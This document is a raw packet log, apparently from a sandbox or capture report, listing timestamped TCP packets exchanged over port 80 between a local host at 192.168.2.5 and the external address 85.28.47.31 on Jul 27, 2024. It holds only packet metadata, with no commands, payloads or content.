Jul 27, 2024 09:25:07.486862898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486872911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486896038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486906052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486928940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.486938953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.486973047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.574928045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.574996948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575031996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575063944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575104952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575104952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575104952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575117111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575146914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575150967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575155973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575185061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575196028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575217962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575229883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575251102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575261116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575298071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575304031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575337887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575347900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575371027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575382948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575414896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575422049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575453997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575464010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575494051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575504065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575536966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575550079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575572968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575582981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575606108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575614929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575644970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575647116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575687885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575690985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575736046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575742006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575771093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575784922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575803041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575814962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575835943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575845003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575869083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575881958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575901985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575913906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575943947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.575949907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575984001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.575994015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576015949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576026917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576059103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576065063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576098919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576107025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576133013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576143026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576164961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576175928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576206923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576215982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576247931 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576260090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576283932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576296091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576314926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576324940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576348066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576355934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576380014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576390982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576412916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576422930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576446056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576457024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576492071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576517105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576551914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576559067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576585054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576596975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576618910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576627970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576652050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576673031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576683998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576698065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576716900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576734066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576755047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576766968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576788902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576792002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576824903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576838970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576857090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576869965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576893091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.576906919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.576937914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577071905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577106953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577119112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577147007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577157021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577189922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577203035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577223063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577235937 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577255011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577260017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577286959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577299118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577318907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577328920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577353001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577362061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577385902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577397108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577418089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577426910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577466965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577471018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577505112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577516079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577541113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577554941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577574968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577583075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577611923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577636003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577644110 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577653885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577677965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577691078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577709913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577725887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577758074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577760935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577792883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577805042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577826977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577836037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577861071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577869892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577893019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577909946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577927113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577939987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577960014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.577970028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.577994108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578002930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578027010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578037024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578061104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578069925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578094006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578104019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578129053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578136921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578161001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578172922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578195095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578203917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578233957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578238964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578267097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578279972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578299999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578310013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578331947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578346014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578365088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578376055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578398943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578408957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578432083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578443050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578465939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578474045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578497887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578507900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578530073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578538895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578562021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578568935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578594923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578600883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578627110 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578646898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578660011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578675032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578691959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578706026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578727961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578737974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578769922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578810930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578841925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578851938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578876019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578885078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578910112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578919888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578943014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578952074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.578975916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.578988075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.579010010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.579021931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.579041958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.579052925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.579087973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.668344975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.668414116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.668417931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.668448925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.668488026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.668498039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.668544054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.668581009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.668595076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.668615103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.668623924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.668648958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.668658018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.668682098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.668693066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.668723106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.668732882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.668766022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.668788910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.668801069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.668807983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.668833017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.668843031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.668865919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.668874979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.668898106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.668906927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.668930054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.668940067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.668962955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.668973923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669001102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669007063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669065952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669095039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669100046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669102907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669131994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669143915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669166088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669178009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669198036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669208050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669230938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669240952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669264078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669272900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669297934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669311047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669329882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669336081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669364929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669373035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669397116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669409037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669429064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669440985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669461012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669476032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669506073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669512033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669549942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669555902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669584036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669590950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669615984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669627905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669656038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669665098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669687986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669698000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669720888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669730902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669754982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669764042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669787884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669799089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669820070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669831038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669853926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669861078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669886112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669898987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669923067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669928074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669955015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669970989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.669987917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.669998884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670020103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670047045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670053005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670058966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670084953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670097113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670118093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670130968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670150995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670161963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670182943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670192957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670216084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670227051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670249939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:07.670258999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:07.670281887 CEST	80	49704	85.28.47.31	192.168.2.5
